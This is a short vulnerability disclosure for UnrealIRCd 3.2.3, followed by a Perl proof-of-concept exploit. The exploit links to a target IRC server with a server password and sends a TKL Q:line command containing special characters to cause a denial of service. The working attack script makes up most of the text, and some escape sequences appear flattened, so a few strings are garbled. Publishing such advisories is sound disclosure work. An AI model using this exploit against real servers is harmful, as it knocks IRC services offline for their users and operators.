-Description-
UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for adding/removing Q:lines with special characters. Could be sent through services.
Fixed as of version 3.2.4
-PoC-
#!/usr/bin/perl
# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner)
use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn");
#################
# Variables #
#################
$spass = ("LinkPass"); # Link Password
$lserver = ("your.server.name"); # Local Server name
$rserver = ("remote.server.name"); # Link Server
$rport = (6667); # Link Port
$snum = (6); # Server numeric
#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
PeerAddr => $rserver,
PeerPort => $rport,
Proto => 'tcp',
);
#################
# Connect #
#################
die "Couldn't create socket to $rserver / $rport!n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spassn");
print ("PASS $spassn");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneckn");
print ("SERVER $lserver 1 $snum :PoC by Redneckn");
sleep 5;
print $sock ("TKL - qx08Q *x08PoCn");
print ("TKL - qx08Q *x08PoCn");
sleep 5;
